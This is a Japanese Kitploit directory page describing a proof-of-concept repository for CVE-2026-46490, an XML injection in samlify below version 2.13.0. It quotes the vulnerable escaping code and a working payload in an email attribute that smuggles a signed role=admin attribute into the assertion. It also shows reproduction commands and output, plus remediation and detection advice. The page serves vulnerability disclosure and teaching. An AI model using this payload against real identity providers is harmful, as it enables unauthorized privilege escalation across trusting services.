Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-46490-samlify-SAML-Attribute-Injection — CVE-2026-46490 — samlify <2.13.0 の SAML AttributeValue XML インジェクションによる signed-assertion 権限昇格。自己完結型 PoC、e2e 検証済み。 | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-46490-samlify-saml-attribute-injection
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証学習と教育
GitHubbiitts/cve-2026-46490-samlify-saml-attribute-injection

CVE-2026-46490-samlify-SAML-Attribute-Injection

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-46490 — samlify <2.13.0 の SAML AttributeValue XML インジェクションによる signed-assertion 権限昇格。自己完結型 PoC、e2e 検証済み。

リポジトリを見る
1ヶ月前未レビュー

CVE-2026-46490 — samlify SAML AttributeValue XMLインジェクション → 権限昇格

samlify < 2.13.0 はテンプレートの置換を属性コンテキストでのみエスケープします。要素テキスト( <saml:AttributeValue>{Value}</saml:AttributeValue> )に配置されたユーザー制御値(例:email / name)はエスケープされずに挿入されるため、一般ユーザーでも自分自身のIdP署名付き SAMLアサーションに追加の <saml:Attribute> 要素(例:role=admin)を注入できます。注入は署名前に行われるため、サービスプロバイダの署名チェックは通過し、偽造された属性を信頼できるものとして扱います。

CVECVE-2026-46490
AdvisoryGHSA-34r5-q4jw-r36m
Affectedsamlify < 2.13.0
Fixed2.13.0
ClassCWE-91(XMLインジェクション)→ 権限昇格
CVSS8.8 (High)
Auth認証済み低権限ユーザー(自身の属性値の1つを制御可能)
Status確認済み — IdP→SPの完全なチェーンを [email protected] で再現

根本原因

src/libsaml.ts は replaceTagsByValue → escapeTag を介して {tag} プレースホルダを置換します:

root@kitploit:~
replaceTagsByValue(rawXML, tagValues) {
  Object.keys(tagValues).forEach(t => {
    rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
  });
  return rawXML;
}

function escapeTag(replacement) {
  return (_match, quote) => {
    const text = String(replacement ?? '');
    // "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
    return quote ? `${quote}${xmlEscape(text)}` : text;   // <-- element text: NO escaping
  };
}

正規表現はオプションの先行する " を quote としてキャプチャします。属性コンテキスト(Name="{Name}")では quote が設定され、値は xmlEscape されます。要素テキスト(>{attrEmail}<)では先行する引用符がないため、値はそのまま出力されます。

デフォルトの属性テンプレートは値を要素テキストに配置します:

root@kitploit:~
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>

したがって、</> を含む攻撃者制御の属性値は生のXMLを注入します。

悪用方法

攻撃者は自身のプロファイル属性(ここでは email)を次のように設定します:

root@kitploit:~
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">

これにより email 属性を閉じ、偽造された role=admin 属性を追加し、テンプレートの末尾の </saml:AttributeValue></saml:Attribute> がバランスを保つように捨て属性を再度開きます。IdPはその後アサーションに署名します — 偽造された属性も含めて。標準準拠のSPは署名を検証し(有効)、role=admin を読み取ります。

再現方法

root@kitploit:~
cd lab && ./setup.sh        # npm i [email protected] + generate IdP/SP keypairs
node poc.js

出力:

root@kitploit:~
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin

PoCはsamlify自身のIdP(脆弱な replaceTagsByValue 置換を実行し署名する createLoginResponse)とSP(署名を検証し属性を抽出する parseLoginResponse)を駆動します。SPは role: "admin" を提示します — これは攻撃者が偽造した属性であり、IdPが発行しようとしたものではありません。

影響

samlifyベースのIdP上で自身のSAML属性値(email、表示名など)の1つに影響を与えられるユーザーは、任意の追加属性(グループ/ロールメンバーシップ、権限、isAdmin フラグなど)を持つ有効に署名されたアサーションを作成し、そのIdPを信頼するすべてのSPで権限を昇格できます。SAML署名検証は役に立ちません。偽造は署名された範囲内にあるからです。

修復方法

  • samlify ≥ 2.13.0 にアップグレードする。これにより、属性コンテキストだけでなく要素コンテキストでも補間値をXMLエスケープします。
  • 多層防御:サーバー側でユーザー提供の属性値を検証/正規化する。SPでは許可リスト方式の属性スキーマを推奨。

検出方法

発行/消費されたアサーションにXMLマークアップ(</saml:AttributeValue>、<saml:Attribute)を含む属性値がないか、またIdPテンプレートで定義された数より多くの <saml:Attribute> 要素を持つアサーションがないかを検査する。

置換正規表現、引用符ヒューリスティック、パッチについては ANALYSIS.md を参照してください。


  • 著者:Caio Fabrício — github.com/BiiTts
  • 脆弱性のクレジットは元の報告者/ベンダーアドバイザリに帰属します。このリポジトリは防御および教育目的のための独立した再現です。許可されたセキュリティテストにのみ使用してください。
ツールをダウンロード